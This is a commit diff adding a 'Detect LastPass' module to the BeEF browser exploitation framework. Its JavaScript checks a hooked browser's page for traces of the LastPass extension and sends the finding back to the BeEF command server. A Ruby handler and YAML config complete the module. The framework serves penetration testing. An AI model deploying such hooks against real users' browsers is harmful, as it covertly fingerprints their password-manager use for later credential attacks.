Detect LastPass module (except on IE) - #802
This commit is contained in:
29
modules/browser/detect_lastpass/command.js
Normal file
29
modules/browser/detect_lastpass/command.js
Normal file
@@ -0,0 +1,29 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var result = "Not in use or not installed";
|
||||
|
||||
var lpdiv = document.getElementById('hiddenlpsubmitdiv');
|
||||
if (typeof(lpdiv) != 'undefined' && lpdiv != null) {
|
||||
//We've got the first detection of LP
|
||||
result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";
|
||||
} else if ($j("script:contains(lastpass_iter)").length > 0) {
|
||||
//We've got the second detection of LP
|
||||
result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";
|
||||
} else {
|
||||
|
||||
//Form is not there, lets check for any form elements in this page, because, LP won't activate at all without a <form>
|
||||
if (document.getElementsByTagName("form").length == 0) {
|
||||
//No forms
|
||||
result = "The page doesn't seem to include any forms - we can't tell if LastPass is installed";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass="+result);
|
||||
});
|
||||
|
||||
16
modules/browser/detect_lastpass/config.yaml
Normal file
16
modules/browser/detect_lastpass/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_lastpass:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Detect LastPass"
|
||||
description: "This module checks if the LastPass extension is installed and active."
|
||||
authors: ["xntrik"]
|
||||
target:
|
||||
not_working: ["IE"]
|
||||
working: ["All"]
|
||||
14
modules/browser/detect_lastpass/module.rb
Normal file
14
modules/browser/detect_lastpass/module.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Detect_lastpass < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['lastpass'] = @datastore['lastpass'] if not @datastore['lastpass'].nil?
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user